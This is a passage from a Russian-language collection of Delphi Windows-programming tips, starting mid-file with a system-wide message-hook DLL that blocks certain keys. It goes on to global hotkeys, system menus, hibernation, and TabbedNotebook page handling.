   // The return value is an open handle to the specified file-mapping object. 
end;
 { 
 The MapViewOfFile function maps a view of a file into 
 the address space of the calling process. 
}
 function MapMMF(MMFHandle: THandle): Pointer;
 begin
   Result := MapViewOfFile(MMFHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
 end;
 { 
  The UnmapViewOfFile function unmaps a mapped view of a file 
  from the calling process's address space. 
}
 function UnMapMMF(P: Pointer): Boolean;
 begin
   Result := UnmapViewOfFile(P);
 end;
 function CloseMMF(MMFHandle: THandle): Boolean;
 begin
   Result := CloseHandle(MMFHandle);
 end;
 // Actual hook stuff 
type
   TPMsg = ^TMsg;
 const
   VK_D = $44;
   VK_E = $45;
   VK_F = $46;
   VK_M = $4D;
   VK_R = $52;
   MMFName = 'MsgFilterHookDemo';
 type
   PMMFData = ^TMMFData;
   TMMFData = record
     NextHook: HHOOK;
     WinHandle: HWND;
     MsgToSend: Integer;
   end;
   // global variables, only valid in the process which installs the hook. 
var
   MMFHandle: THandle;
   MMFData: PMMFData;
 function UnMapAndCloseMMF: Boolean;
 begin
   Result := False;
   if UnMapMMF(MMFData) then
   begin
     MMFData := nil;
     if CloseMMF(MMFHandle) then
     begin
       MMFHandle := 0;
       Result := True;
     end;
   end;
 end;
 { 
  The SetWindowsHookEx function installs an application-defined 
  hook procedure into a hook chain. 
  WH_GETMESSAGE Installs a hook procedure that monitors messages 
  posted to a message queue. 
  For more information, see the GetMsgProc hook procedure. 
}
 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
 begin
   Result := False;
   if (MMFData = nil) and (MMFHandle = 0) then
   begin
     MMFHandle := CreateMMF(MMFName, SizeOf(TMMFData));
     if MMFHandle <> 0 then
     begin
       MMFData := MapMMF(MMFHandle);
       if MMFData <> nil then
       begin
         MMFData.WinHandle := WinHandle;
         MMFData.MsgToSend := MsgToSend;
         MMFData.NextHook := SetWindowsHookEx(WH_GETMESSAGE, MsgFilterFunc, HInstance, 0);
         if MMFData.NextHook = 0 then
           UnMapAndCloseMMF
         else
           Result := True;
       end
       else
       begin
         CloseMMF(MMFHandle);
         MMFHandle := 0;
       end;
     end;
   end;
 end;
 { 
  The UnhookWindowsHookEx function removes the hook procedure installed 
  in a hook chain by the SetWindowsHookEx function. 
}
 function FreeHook: Boolean; stdcall;
 begin
   Result := False;
   if (MMFData <> nil) and (MMFHandle <> 0) then
     if UnHookWindowsHookEx(MMFData^.NextHook) then
       Result := UnMapAndCloseMMF;
 end;
 (*
     GetMsgProc(
     nCode: Integer;  {the hook code}
     wParam: WPARAM;  {message removal flag}
     lParam: LPARAM  {a pointer to a TMsg structure}
     ): LRESULT;  {this function should always return zero}
     { See help on ==> GetMsgProc}
 *)
 function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint;
 var
   MMFHandle: THandle;
   MMFData: PMMFData;
   Kill: boolean;
 begin
   Result := 0;
   MMFHandle := OpenMMF(MMFName);
   if MMFHandle <> 0 then
   begin
     MMFData := MapMMF(MMFHandle);
     if MMFData <> nil then
     begin
       if (Code < 0) or (wParam = PM_NOREMOVE) then
         { 
          The CallNextHookEx function passes the hook information to the 
          next hook procedure in the current hook chain. 
        }
         Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
       else
       begin
         Kill := False;
         { Examples }
         with TMsg(Pointer(lParam)^) do
         begin
           // Kill Numbers 
          if (wParam >= 48) and (wParam <= 57) then Kill := True;
           // Kill Tabulator 
          if (wParam = VK_TAB) then Kill := True;
         end;
         { Example to disable all the start-Key combinations }
         case TPMsg(lParam)^.message of
           WM_SYSCOMMAND: // The Win Start Key (or Ctrl+ESC) 
            if TPMsg(lParam)^.wParam = SC_TASKLIST then Kill := True;
           WM_HOTKEY:
             case ((TPMsg(lParam)^.lParam and $00FF0000) shr 16) of
               VK_D,      // Win+D        ==> Desktop 
              VK_E,      // Win+E        ==> Explorer 
              VK_F,      // Win+F+(Ctrl) ==> Find:All (and Find: Computer) 
              VK_M,      // Win+M        ==> Minimize all 
              VK_R,      // Win+R        ==> Run program. 
              VK_F1,     // Win+F1       ==> Windows Help 
              VK_PAUSE:  // Win+Pause    ==> Windows system properties 
                Kill := True;
             end;
         end;
         if Kill then TPMsg(lParam)^.message := WM_NULL;
         Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
       end;
       UnMapMMF(MMFData);
     end;
     CloseMMF(MMFHandle);
   end;
 end;
 initialization
   begin
     MMFHandle := 0;
     MMFData   := nil;
   end;
 finalization
   FreeHook;
 end.
 {********** End WHookInt.pas **************}
 { *******************************************}
 { ***************** Demo   ******************}
 { *******************************************}
 { 
** HostApp.Exe ** 
HostApp.dpr 
       |-----FrmMainU.pas 
}
 {********** Begin HostApp.dpr **************}
 { Project file }
 program HostApp;
 uses
   Forms,
   FrmMainU in 'FrmMainU.pas' {FrmMain};
 {$R *.RES}
 begin
   Application.Initialize;
   Application.CreateForm(TFrmMain, FrmMain);
   Application.Run;
 end.
 {********** End HostApp.dpr **************}
 {********** Begin FrmMainU.pas **************}
 unit FrmMainU;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, ExtCtrls;
 const
   HookDemo = 'WINHOOK.dll';
 const
   WM_HOOKCREATE = WM_USER + 300;
 type
   TFrmMain = class(TForm)
     Panel1: TPanel;
     BtnSetHook: TButton;
     BtnClearHook: TButton;
     procedure BtnSetHookClick(Sender: TObject);
     procedure BtnClearHookClick(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     FHookSet: Boolean;
     procedure EnableButtons;
   public
   end;
 var
   FrmMain: TFrmMain;
 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
   external HookDemo;
 function FreeHook: Boolean; stdcall; external HookDemo;
 implementation
 {$R *.DFM}
 procedure TFrmMain.EnableButtons;
 begin
   BtnSetHook.Enabled   := not FHookSet;
   BtnClearHook.Enabled := FHookSet;
 end;
 // Start the Hook 
procedure TFrmMain.BtnSetHookClick(Sender: TObject);
 begin
   FHookSet := LongBool(SetHook(Handle, WM_HOOKCREATE));
   EnableButtons;
 end;
 // Stop the Hook 
procedure TFrmMain.BtnClearHookClick(Sender: TObject);
 begin
   FHookSet := FreeHook;
   EnableButtons;
   BtnClearHook.Enabled := False;
 end;
 procedure TFrmMain.FormCreate(Sender: TObject);
 begin
   EnableButtons;
 end;
 end.
 {********** End FrmMainU.pas **************}

Перехват нажатия на системные кнопки формы (закрытие, минимизация окна и т.д.).

Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды, что дает возможность переопределить код.

WM_SYSCOMMAND
  uCmdType = wParam;     // type of system command requested
  xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
  yPos = HIWORD(lParam); // vertical postion, in screen coordinates

Например, перехват события минимизации окна приложения:

type
  TMain = class(TForm)
  protected
    procedure WMGetSysCommand(var message : TMessage);
    message WM_SYSCOMMAND;
end;
...
// Обработка сообщения WM_SYSCOMMAND
procedure TMain.WMGetSysCommand(var message : TMessage) ;
begin
  if (message.wParam = SC_MINIMIZE) then
    Main.Visible := False
  else
    inherited;
end;

Получение информации о системных шрифтах.

Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о системных шрифтах
Данная функция возвращает Наnd1е системного шрифта (определённого в свойтвах
экрана). В качестве параметра используется одно из значений типа TNCFont:
CaptionFont - шрифт, используемый в заголовках форм;
MenuFont - шрифт меню;
MessageFont - шрифт текста в стандартных диалоговых окнах;
SmCaptionFont - шрифт всплывающих подсказок;
StatusFont - шрифт строк состояния;
Зависимости: Windows
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        21 мая 2002 г.
***************************************************** }
type
  TNCFont = (CaptionFont, MenuFont, MessageFont, SmCaptionFont, StatusFont);
function GetNCFontHandle(const NCFont: TNCFont): cardinal;
var
  NCM: TNonClientMetrics;
  LF: TLogFont;
  B: LongBool;
begin
  NCM.cbSize := SizeOf(NCM);
  B := SystemParametersInfo(SPI_GETNONCLIENTMETRICS, 0, @NCM, 0);
  if B then
  begin
    case NCFont of
      SmCaptionFont: LF := NCM.lfSmCaptionFont;
      CaptionFont: LF := NCM.lfCaptionFont;
      MenuFont: LF := NCM.lfMenuFont;
      MessageFont: LF := NCM.lfMessageFont;
      StatusFont: LF := NCM.lfStatusFont;
    else
      LF := NCM.lfMessageFont;
    end;
    {if WinNT then begin
     LF.lfCharset:=LangIDToCharset(0);
    end;}
  end
  else
  begin
    FillChar(LF, SizeOf(LF), 0);
    LF.lfHeight := -11;
    LF.lfWidth := 0;
    LF.lfCharSet := DEFAULT_CHARSET;
    StrPCopy(@LF.lfFaceName[0], 'MS Sans Serif');
  end;
  Result := CreateFontIndirect(LF);
end;

Пример использования:

Button1.Font.Handle := GetNCFontHandle(MessageFont);
StatusBar1.Font.Handle := GetNCFontHandle(StatusFont); 

Регистрация горячих системных клавиш.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The following example demonstrates registering hotkeys with the 
  system to globally trap keys. 
  Das Folgende Beispiel zeigt, wie man Hotkeys registrieren und 
  darauf reagieren kann, wenn sie gedruckt werden. (systemweit) 
}
 unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs;
 type
   TForm1 = class(TForm)
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
   private
     { Private declarations }
     id1, id2, id3, id4: Integer;
     procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 // Trap Hotkey Messages 
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
 begin
   if Msg.HotKey = id1 then
     ShowMessage('Ctrl + A pressed !');
   if Msg.HotKey = id2 then
     ShowMessage('Ctrl + Alt + R pressed !');
   if Msg.HotKey = id3 then
     ShowMessage('Win + F4 pressed !');
   if Msg.HotKey = id4 then
     ShowMessage('Print Screen pressed !');
 end;
 procedure TForm1.FormCreate(Sender: TObject);
   // Different Constants from Windows.pas 
const
   MOD_ALT = 1;
   MOD_CONTROL = 2;
   MOD_SHIFT = 4;
   MOD_WIN = 8;
   VK_A = $41;
   VK_R = $52;
   VK_F4 = $73;
 begin
   // Register Hotkey Ctrl + A 
  id1 := GlobalAddAtom('Hotkey1');
   RegisterHotKey(Handle, id1, MOD_CONTROL, VK_A);
   // Register Hotkey Ctrl + Alt + R 
  id2 := GlobalAddAtom('Hotkey2');
   RegisterHotKey(Handle, id2, MOD_CONTROL + MOD_Alt, VK_R);
   // Register Hotkey Win + F4 
  id3 := GlobalAddAtom('Hotkey3');
   RegisterHotKey(Handle, id3, MOD_WIN, VK_F4);
   // Globally trap the Windows system key "PrintScreen" 
  id4 := GlobalAddAtom('Hotkey4');
   RegisterHotKey(Handle, id4, 0, VK_SNAPSHOT);
 end;
 // Unregister the Hotkeys 
procedure TForm1.FormDestroy(Sender: TObject);
 begin
   UnRegisterHotKey(Handle, id1);
   GlobalDeleteAtom(id1);
   UnRegisterHotKey(Handle, id2);
   GlobalDeleteAtom(id2);
   UnRegisterHotKey(Handle, id3);
   GlobalDeleteAtom(id3);
   UnRegisterHotKey(Handle, id4);
   GlobalDeleteAtom(id4);
 end;
 end.
 { 
  RegisterHotKey fails if the keystrokes specified for the hot key have 
  already been registered by another hot key. 
  Windows NT4 and Windows 2000/XP: The F12 key is reserved for use by the 
  debugger at all times, so it should not be registered as a hot key. Even 
  when you are not debugging an application, F12 is reserved in case a 
  kernel-mode debugger or a just-in-time debugger is resident. 
}

Добавляем пункты в системное меню Windows.

Оформил: DeeCo

Автор: MAD Rodrguez.

Вы, наверное, задавались вопросом, почему системное меню постоянно одно и тоже ? Пример показывает, как добавить туда такие пункты как "About" или "Information", или что-нибудь ещё. Совместимость: Delphi 3.x (или выше).

Нам понадобится две вещи, первая это Item ID, который может быть любым целым числом. Второе это Описание(Caption) для нашего пункта меню. Нам понадобится также процедура, которая будет принимать сообщения Window для определения нажатия на наш пункт меню.
unit OhYeah;
interface uses SysUtils,
  WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs,
  Menus;
type
  TForm1 = class(TForm)
    procedure FormCreate(Sender:
      TObject);
  private {Private
  declarations} public {Public declarations}
    procedure WinMsg(var Msg:
      TMsg; var Handled: Boolean);
    procedure DoWhatEever;
  end;
var
  Form1: TForm1;
implementation{$R *.DFM}const
  ItemID = 99; // ID номер для пункта меню.  Может быть  любым
procedure Tform1.WinMsg(var Msg: TMsg; var Handled: Boolean);
begin
  if
    Msg.Message = WM_SYSCOMMAND then
    if Msg.WParam = ItemID then
      DoWhatEver;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnMessage := WinMsg;
  AppendMenu(GetSystemMenu(Form1.Handle, False), MF_SEPARATOR, 0, '');
  AppendMenu(GetSystemMenu(Form1.Handle,
    False), MF_BYPOSITION, ItemID, '&amp;My menu');
  AppendMenu(GetSystemMenu
    (Application.Handle, False), MF_SEPARATOR, 0, '');
  AppendMenu(GetSystemMenu(Application.Handle, False),
    MF_BYPOSITION, ItemID, 'My menu minimized');
end;
procedure TForm1.DoWhatEver;
begin
  Exit; // Вы можете добавить здесь всё, что угодно
end;
end.

Оповещение о том, что изменили системные настройки.

Парадокс. На Западе система Юникс бесплатна, а за Винды надо заплатить 384 доллара. А в России и Юникс стоит восемьдесят рублей и Винды те же восемьдесят.
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );

Заставить системное меню выпасть в указанном месте.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  How to popup the windows system menu? 
  Maybe you can use Keybd_event to eumlate ALT+SPACE 
  Maybe you can use a TPopupmenu. 
  But they always have some problem. 
  The method below is a perfect solution! 
  BTW: if your form has borderstyle = bsNone, Please do it like this: 
  Set forms style = bsSingle; and use the code below to set form boder: 
  SetWindowLong(Handle, GWL_STYLE,GetWindowLong(Handle, GWL_STYLE) 
  and (not WS_CAPTION) or WS_DLGFRAME or WS_OVERLAPPED); 
}
 procedure TForm1.Button1Click(Sender: TObject);
 const
   { Undocument message ID }
   WM_POPUPSYSTEMMENU = $313;
 begin
   SendMessage(Handle, WM_POPUPSYSTEMMENU, 0,
     MakeLong(Mouse.CursorPos.X, Mouse.CursorPos.Y));
 end;

Создаём системную горячую клавишу.

В некотором царстве в некотором государстве на 39 уровне жил был Кащей Бессмертный и было у него 4 жизни и лабиринт, а смерть его была ctrl+alt +delete. Тут и сказочке Esc, а кто не понял F1.
{ 
  The following example demonstrates registering hot keys with the 
  system to globally trap keys. 
} 
unit Unit1; 
interface 
uses 
  Windows, Messages, Forms, Dialogs; 
type 
  TForm1 = class(TForm) 
    procedure FormCreate(Sender: TObject); 
    procedure FormDestroy(Sender: TObject); 
  private 
    // Hotkey Ids 
    id1, id2, id3, id4: Integer; 
    procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY; 
    { Privat-Declarations} 
  public 
    { Public-Declarations} 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.DFM} 
// Trap Hotkey Messages 
procedure TForm1.WMHotKey(var Msg: TWMHotKey); 
begin 
  if Msg.HotKey = id1 then 
    ShowMessage('Ctrl + A was pressed !'); 
  if Msg.HotKey = id2 then 
    ShowMessage('Ctrl + Alt + R was pressed !'); 
  if Msg.HotKey = id3 then 
    ShowMessage('Win + F4 was pressed !'); 
  if Msg.HotKey = id4 then 
    ShowMessage('Print Screen was pressed !'); 
end; 
procedure TForm1.FormCreate(Sender: TObject); 
  // Different Constants from Windows.pas 
const 
  MOD_ALT = 1; 
  MOD_CONTROL = 2; 
  MOD_SHIFT = 4; 
  MOD_WIN = 8; 
  VK_A = 65; 
  VK_R = 82; 
  VK_F4 = 115; 
begin 
  // Register Hotkey Ctrl + A 
  id1 := GlobalAddAtom('Hotkey1'); 
  RegisterHotKey(Handle, id1, MOD_CONTROL, VK_A); 
  // Register Hotkey Ctrl + Alt + R 
  id2 := GlobalAddAtom('Hotkey2'); 
  RegisterHotKey(Handle, id2, MOD_CONTROL + MOD_Alt, VK_R); 
  // Register Hotkey Win + F4 
  id3 := GlobalAddAtom('Hotkey3'); 
  RegisterHotKey(Handle, id3, MOD_WIN, VK_F4); 
  // Globally trap the Windows system key "PrintScreen" 
  id4 := GlobalAddAtom('Hotkey4'); 
  RegisterHotKey(Handle, id4, 0, VK_SNAPSHOT); 
end; 
// Unregister the Hotkeys 
procedure TForm1.FormDestroy(Sender: TObject); 
begin 
  UnRegisterHotKey(Handle, id1); 
  UnRegisterHotKey(Handle, id2); 
  UnRegisterHotKey(Handle, id3); 
  UnRegisterHotKey(Handle, id4); 
end; 
end. 
{ 
  RegisterHotKey fails if the keystrokes specified for the hot key have 
  already been registered by another hot key. 
   
  Windows NT4 and Windows 2000/XP: The F12 key is reserved for use by the 
  debugger at all times, so it should not be registered as a hot key. Even 
  when you are not debugging an application, F12 is reserved in case a 
  kernel-mode debugger or a just-in-time debugger is resident. 
}

Перевод системы в режим ожидания или спячки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The SetSuspendState function suspends the system by shutting power down. 
  Depending on the Hibernate parameter, 
  the system either enters a suspend (sleep) state or hibernation. 
  Syntax: 
}
  function SetSuspendState(
    Hibernate: Boolean,
    ForceCritical: Boolean,
    DisableWakeEvent: Boolean);
 {  Parameters: 
   Hibernate: If this parameter is TRUE, the system hibernates. 
              If the parameter is FALSE, the system is suspended. 
   ForceCritical: If this parameter is TRUE, the system suspends operation immediately; 
                  if it is FALSE, the system broadcasts a PBT_APMQUERYSUSPEND event to 
                  each application to request permission to suspend operation. 
   DisableWakeEvent: If this parameter is TRUE, the system disables all wake events. 
                     If the parameter is FALSE, any system wake events remain enabled. 
  Windows NT/2000/XP: Included in Windows 2000 and later. 
  Windows 95/98/Me: Included in Windows 98 and later. 
}
 var
   _SetSuspendState: function (Hibernate, ForceCritical, DisableWakeEvent: BOOL): BOOL
   stdcall = nil;
   function LinkAPI(const module, functionname: string): Pointer; forward;
 function SetSuspendState(Hibernate, ForceCritical,
   DisableWakeEvent: Boolean): Boolean;
 begin
   if not Assigned(_SetSuspendState) then
     @_SetSuspendState := LinkAPI('POWRPROF.dll', 'SetSuspendState');
   if Assigned(_SetSuspendState) then
     Result := _SetSuspendState(Hibernate, ForceCritical,
       DisableWakeEvent)
   else
     Result := False;
 end;
 function LinkAPI(const module, functionname: string): Pointer;
 var
   hLib: HMODULE;
 begin
   hLib := GetModulehandle(PChar(module));
   if hLib = 0 then
     hLib := LoadLibrary(PChar(module));
   if hLib <> 0 then
     Result := getProcAddress(hLib, PChar(functionname))
   else
     Result := nil;
 end;
 // Example Call: 
// Beispielaufruf: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   SetSuspendState(True, False, False);
 end;

Как открыть диалог смены системного времени.

Автор: http://www.swissdelphicenter.ch

uses
  Shellapi;
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'control', 'date/time', nil, SW_SHOW);
end;

Сохранить и загрузить двумерный динамический массив.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   T2DBooleanArray = array of array of Boolean;
 procedure Save2DBooleanArray(const A: T2DBooleanArray; S: TStream);
 var
   writer: TWriter;
   i: Integer;
 begin
   Assert(Assigned(S));
   writer := TWriter.Create(S, 8096);
   try
     writer.WriteInteger(Length(A));
     for i := 0 to Length(A) - 1 do
     begin
       writer.WriteInteger(Length(A[i]));
       writer.Write(A[i, 0], Length(A[i]) * sizeof(A[i, 0]));
     end; { For }
   finally
     writer.Free;
   end; { Finally }
 end;
 procedure Load2DBooleanArray(var A: T2DBooleanArray; S: TStream);
 var
   reader: TReader;
   i, numrows, numcols: Integer;
 begin
   Assert(Assigned(S));
   reader := TReader.Create(S, 8096);
   try
     numrows := reader.ReadInteger;
     SetLength(A, numrows);
     for i := 0 to numrows - 1 do
     begin
       numcols := reader.ReadInteger;
       SetLength(A[i], numcols);
       reader.Read(A[i, 0], numcols * sizeof(A[i, 0]));
     end; { For }
   finally
     reader.Free;
   end; { Finally }
 end;

Динамические создание объектов в TabbedNotebook.

procedure TForm1.TabbedNotebook1Click(Sender: TObject);
var
  myE: TEdit;
begin
  with TabbedNotebook1 do
  begin
    if PageIndex = 1 then
    begin
      myE := TEdit.Create(Self);
      myE.Left := 12;
      myE.Top := 12;
      myE.Parent := Pages.Objects[PageIndex] as TWinControl;
      myE.Show;
    end;
  end;
end;

Динамические создание объектов в TabbedNotebook 2.

Как мне поместить кнопку (во время выполнения программы) на страницу TabbedNoteBook?

procedure TForm1.Button1Click(Sender: TObject);
var
  Button2:Tbutton;
begin
  button2:=tbutton.create(self);
  button2.parent:=TabbedNotebook1.Pages.Object[0] as TTabPage;
  button2.setbounds(30,30,60,30);
end;

Недоступная закладка в компоненте TabbedNotebook.

Статьи по Delphi (017)…

Есть ли возможность в компоненте Tabbednotebook сделать какую-либо страницу недоступной? То есть не позволять пользователю щелкать на ней и видеть ее содержимое?

Да, такая возможность существует. Самый простой путь - удалить страницу, например так:

with TabbedNotebook do
  Pages.Delete(PageIndex);
и снова включить ее (при необходимости), перегрузив форму.

Блокировка (а не удаление) немного мудренее, поскольку необходима организация цикла в процедуре создания формы, присваивающая имена закладкам компонента TabbedNotebook. Например так:

J := 0;
with TabbedNotebook do
for I := 0 to ComponentCount - 1 do
if Components[I].ClassName = 'TTabButton' then
begin
Components[I].Name := ValidIdentifier(TTabbedNotebook(
Components[I].Owner).Pages[J]) + 'Tab';
Inc(J);
end;

Где ValidIdentifier ValidIdentifier - функция, которая возвращает правильный Pascal-идентификатор, производный от строки 'Tab':

function ValidIdentifier (theString: str63): str63;
{--------------------------------------------------------}
{ Конвертирует строку в правильный Pascal-идентификатор, }
{ удаляя все неправильные символы и добавляя символ '_', }
{ если первый символ - цифра                             }
{--------------------------------------------------------}
var
I, Len: Integer;
begin
Len := Length(theString);
for I := Len downto 1 do
if not (theString[I] in LettersUnderscoreAndDigits) then
Delete(theString, I, 1);
if not (theString[1] in LettersAndUnderscore) then
theString := '_' + theString;
ValidIdentifier := theString;
end; {ValidIdentifier}

Затем мы можем сделать закладку компонента TabbedNotebook недоступной:

with TabbedNotebook do
begin
TabIdent := ValidIdentifier(Pages[PageIndex]) + 'Tab';
TControl(FindComponent(TabIdent)).Enabled := False;
{ Переключаемся на первую доступную страницу: }
for I := 0 to Pages.Count - 1 do
begin
TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
if TControl(FindComponent(TabIdent)).Enabled then
begin
PageIndex := I;
Exit;
end;
end; {for}
end; {with TabbedNotebook}

Следующий код восстанавливает доступность страницы:

with TabbedNotebook do
for I := 0 to Pages.Count - 1 do
begin
TabIdent := ValidIdentifier(Pages[I]) + 'Tab';
if not TControl(FindComponent(TabIdent)).Enabled then
TControl(FindComponent(TabIdent)).Enabled := True;
end; {for}

Доступ к страницам Tabbednotebook.

При добавлении компонентов во время выполнения программы, вам необходимо присвоить для каждого компонента свойству parent (контейнер) _страницу_ компонента notebook, а не сам notebook.

Вы можете сделать это следующим образом (пример дан для кнопки):

MyButton := TButton.Create( Form1 );  {как обычно...}
...
...
MyButton.Parent := TTabPage( TabbedNotebook1.Pages.Objects[n] );
{ <== где 'n' - индекс желаемой страницы ==> }
Свойство notebook 'Pages' имеет тип StringList и содержит список заголовков и объектов 'TTabPage'. Я сам пользовался этой техникой несколько месяцев. Не могу вспомнить где я сам раздобыл эту информацию, но в документации про это ничего не сказано. Может кто-нибудь знает, где об этом написано?

При добавлении компонента на страницу TabbedNotebook во время выполнения приложения, указатель на желаемую страницу для свойства Parent нового компонента должен быть назначен перед тем, как он будет реально показан. Способ получить доступ ко всем страницам TTabbedNotebook во время выполнения программы - с помощью свойства-массива Objects свойства TabbedNotebook Pages. Другими словами, страничные компоненты хранятся как объекты, присоединенные к имени страницы в списке строк свойства Pages. В следующим коде показано создание кнопки на второй странице компонента TabbedNotebook1:

var
NewButton : TButton;
begin
NewButton := TButton.Create(Self);
NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[1])
...

Вот как страница TNotebook может быть использована в качестве родителя для вновь создаваемого на ней компонента:

NewButton.Parent := TWinControl(Notebook1.Pages.Objects[1])

Вот как страница (закладка) TTabSet может быть использована в качестве родителя для вновь создаваемого на ней компонента:

NewButton.Parent := TWinControl(TabSet1.Tabs.Objects[1])

Tabbednotebook и куча ресурсов.

Данный документ расскажет о том, как с помощью Object Pascal можно управлять числом активных handlesWindows (оконных дескрипторов), в особенности кучей ресурсов пользователя (User Resource heap), а также следить за этими показателями. О чем этот документ? Попробую коротко и доходчиво: Windows следит за каждым элементом, имеющим фокус, через его дескриптор (Handle). Исходя из этого, Windows не может одновременно поддерживать несколько оконных дескрипторов (4-байтных указателей), и в этом совете мы приведем простой пример кода, позволяющего "легко" загружать ресурсы и обходить эти ограничения, встающие перед разработчиками Delphi. USER DLL в действительности является библиоткой, распределяющей и поддерживающей ресурсы для всех окон и связанных структур данных, включая элементы управления, имеющие фокус, и другие неупомянутые объекты, но вместе с тем необходимо помнить, что эта библиотека работает под Windows. С этим связаны ограничения при работе с ресурсами USER DLL, и эта та проблема, над которой мы будем работать в этом совете. Данный пример добавляет загрузку ресурса для каждого элемента управления, добавляемого на форму, здесь мы берем 4 байта из кучи USER в 64К *. Почему мы уверены в том, что у нас это получится? Мы будем разрушать** дескрипторы окон, которые Windows, согласно своей архитектуре, должна помнить. Разрушая эти дескрипторы, мы, таким образом, избегаем освобождения пользовательских (USER) ресурсов, это означает, что нам не нужно будет снова создавать вышеуказанные объекты. Наоборот, текущая архитектура VCL обладает способностью следить за вышеуказанными объектами, которые, в действительности, являются указателями на структуру. Так, зная, что VCL поддерживает дескриптор и windows создаст новый дескриптор КАК ТРЕБУЕТСЯ, то вместо поддержания постоянно одного дескриптора (как это подразумевалось при создании архитектуры Windows), мы можем управлять пользовательскими (USER) ресурсами вручную, позволяя разработчику легко загружать их по мере необходимости. Данный пример демонстрирует работу с дескрипторами пользовательских (USER) ресурсов компонента Delphi TTabbedNoteBook (в части освобождения дескрипторов страниц), Delphi DestroyHandle (процедура TWinControl для удаления пользовательских (USER) дескрипторов), и работу вызова Windows API LockWindowUpdate (блокировка нежелательной перерисовки). Технология освобождения дескриптора страницы TTabbedNoteBook может работать и с любыми потомками TWinControl. TWinControl - класс предка, который умеет создавать и разрушать оконные дескрипторы; CreateHandle & DestroyHandle. * 64К для Win3.1 & 64К только для 16-битной подсистемы Win95. Для получения дополнительной информации обратитесь в Microsoft или к MSDN. ** Как побочный эффект при разрушении вышеописанных дескрипторов, TTabbedNotebook, используемый в данном примере, гораздо быстрее выполняет перемещение страниц. Демонстрационный код Следующий код с приведенными обработчиками событий является "отрывком" из большого проекта с компонентами TTimer, TTabbedNotebook (с множеством страниц) и большим разнообразием визуальных элементов управления на каждой странице компонента. (Позже мы подчеркнем преимущества кода, приведенного ниже, перед его добавлением в ваш проект) Приведенный код должен располагаться соответственно в обработчиках событий OnTimer компонента TTimer и OnChange компонента TTabbedNotebook. Вот каким должен быть ваш новый код:

<Модуль с объявленными в нем TTabbedNotebook и TTimer>

...
implementation
type
  TSurfaceWin = class(TWinControl);
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  {Данный код заменяет заголовок формы на системную информацию,
  содержащую в процентах free SYSTEM, GDI, &USER для windows.}
  caption := 'SYSTEM: ' +
  inttostr(getfreesystemresources(GFSR_SYSTEMRESOURCES)) +
    ' GDI: ' + inttostr(getfreesystemresources(GFSR_GDIRESOURCES)) +
    ' USER: ' + inttostr(getfreesystemresources(GFSR_USERRESOURCES));
end;
procedure TForm1.TabbedNotebook1Change(Sender: TObject; NewTab:
  Integer; var AllowChange: Boolean);
begin
  {LockWindowUpdate запрещает перерисовку данного окна}
  LockWindowUpdate(handle);
  {Причина использования TSurfaceWin в том, что вызов DestroyHandle
  в TWinControl объявлен как абстрактный, поэтому данный вызов
  возможен только его потомками, реализовавшими данную процедуру.
  Следующая строка читает индекс текущей страницы TabbedNotebook
  и разрушает ее дескриптор при перемещении на другую страницу.
  ПРИМЕЧАНИЕ: Даже если мы уничтожаем дескриптор, Windows помнит
  страничный объект и переназначает/создает новый при нажатии на
  другой закладке. }
  TSurfaceWin(TabbedNotebook1.pages.objects[tabbedNotebook1.pageindex]).DestroyHandle;
  {Выключаем блокировку формы, чтобы любой элемент управления мог перерисовывать себя}
  LockWindowUpdate(0);
end;

Печать табуляторов с помощью TextOut.

Автор: Bob Fisher Я пытаюсь напечатать некий текст с помощью Printer.Canvas.TextOut. Моя строка содержит табуляторы, но они почему-то печатаются на бумаге в виде черных прямоугольников. Как мне правильно напечатать строку, содержащую табуляторы?

Обратите внимание на функцию API "TabbedTextOut". Ваш холст (canvas) воспользоваться ей не сможет, но вы можете просто вызвать эту API функцию и передать ей дескриптор холста.

Над какой закладкой курсор в TabControl.

Автор: YoungHacker

Получение позиции мышиного курсора для TabControl над какой закладкой находится курсор.

function Form1.ItemAtPos(TabControlHandle : HWND; X, Y : Integer) : Integer;
var
  HitTestInfo : TTCHitTestInfo;
  HitIndex : Integer;
begin
  HitTestInfo.pt.x := X;
  HitTestInfo.pt.y := Y;
  HitTestInfo.flags := 0;
  HitIndex := SendMessage(TabControlHandle, TCM_HITTEST, 0, Longint(@HitTestInfo));
  Result := HitIndex;
end;

Таблицы в памяти.

Автор: grisha@mira.com
4 Mb - это не память. Это склероз
